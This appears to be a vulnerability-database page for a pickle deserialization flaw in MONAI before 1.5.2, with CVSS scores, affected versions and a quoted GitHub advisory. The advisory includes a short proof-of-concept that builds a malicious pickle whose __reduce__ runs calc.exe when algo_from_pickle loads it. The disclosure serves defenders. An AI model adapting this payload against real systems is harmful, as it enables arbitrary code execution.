8.8high
MONAI before 1.5.2 Remote Code Execution via Pickle Deserialization
- Severity
- 8.8high CVSS:4.0 by VulnCheck
- Exploit likelihood
- 0.36% (higher than 31% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- VulnCheck
- Also known as
- GHSA-89gg-p5r5-q6r4PYSEC-2026-4021
Description
MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining __reduce__ is executed during deserialization, resulting in arbitrary code execution in the context of the application.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| Project-MONAI MONAI | before 1.5.2 Not affected: 1.5.2 | CVE List, NVD |
| monai (PyPI) | before 1.6.0, before 1.5.2 | GitHub Advisory Database, PyPA Advisory Database |
All scores
| VulnCheck | 8.8high CVSS:4.0 | CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| VulnCheck | 7.6high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H |
| GitHub | 7.6high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H |
| NVD | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| PyPA Advisory Database | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.
What each source says
CVE List
MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining __reduce__ is executed during deserialization, resulting in arbitrary code execution in the context of the application.
GitHub Advisory Database
Summary
The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.
Details
poc
import pickle
import subprocess
class MaliciousAlgo:
def __reduce__(self):
return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())
attack_data = {
"algo_bytes": malicious_algo_bytes,
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
f.write(pickle.dumps(attack_data))
Generate the malicious file "attack_algo.pkl" through POC.
from monai.auto3dseg.utils import algo_from_pickle
attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)
Ultimately, it will trigger pickle.load through a file to identify the command execution.
imageCauses of the vulnerability:
def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:
with open(pkl_filename, "rb") as f_pi:
data_bytes = f_pi.read()
data = pickle.loads(data_bytes)
Impact
Arbitrary code execution
Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-100846 changed 2026-10-08 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-89gg-p5r5-q6r4 changed 2026-10-01 | CC-BY-4.0 |
| NVD | CVE-2026-100846 changed 2026-10-08 | Public domain |
| PyPA Advisory Database | PYSEC-2026-4021 changed 2026-10-01 | CC-BY-4.0 |